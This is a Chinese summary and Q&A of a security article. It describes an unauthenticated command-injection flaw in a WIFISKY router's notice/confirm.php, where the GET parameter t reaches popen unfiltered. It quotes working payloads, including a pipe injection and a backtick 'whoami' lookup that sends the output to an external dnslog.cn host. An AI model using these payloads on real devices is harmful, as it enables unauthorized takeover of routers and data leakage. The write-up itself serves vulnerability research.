0day之某路由器前台RCE审计
内容提要
本文介绍了一种WIFISKY 7层流控路由器的前台命令执行漏洞。作者通过使用Visual Studio Code软件和了解Linux中的反引号作用,成功找到了一个未授权的文件,并构造了payload来执行自己的命令。文章提供了详细的步骤和示例。
延伸解读
漏洞成因:未授权与参数可控
文章指出,该漏洞源于notice/confirm.php文件既没有鉴权代码,又将GET参数t直接传入popen函数,未经过滤。这符合命令执行漏洞的两个条件:危险函数参数用户可控和接口权限校验缺失。攻击者无需登录即可利用,风险较高。
不回显命令执行的验证技巧
对于不回显的命令执行,文章介绍了利用Linux反引号和DNSLog外带数据的方法。通过构造如ping `whoami`.dnslog.cn的命令,将执行结果作为子域名发起DNS请求,从而在DNSLog平台验证命令是否执行成功。
管道符在命令注入中的运用
文章利用Linux管道符“|”构造payload,如t=|ping kg4ab8.dnslog.cn。管道符将前一个命令的输出作为后一个命令的输入,且只回显最后一个命令的结果。这使得攻击者可以拼接并执行任意命令,实现命令注入。
Q&A
WIFISKY 7层流控路由器的前台命令执行漏洞是什么?
这是一个允许攻击者在路由器前台执行任意命令的漏洞。
如何利用Visual Studio Code发现命令执行漏洞?
通过使用Visual Studio Code和Linux反引号的知识,可以找到未授权文件并构造payload来执行命令。
命令执行漏洞的回显和不回显有什么区别?
回显是指执行命令后结果直接显示,而不回显则需要通过其他方式验证命令是否执行成功。
导致PHP命令执行漏洞的危险函数有哪些?
危险函数包括eval()、assert()、system()、exec()等。
如何筛选未授权文件以发现命令执行漏洞?
通过研究鉴权代码,找出缺少权限验证的文件,从中寻找命令执行漏洞。
如何构造payload来利用popen函数?
可以构造payload为t=|ping kg4ab8.dnslog.cn,并拼接路径来执行命令。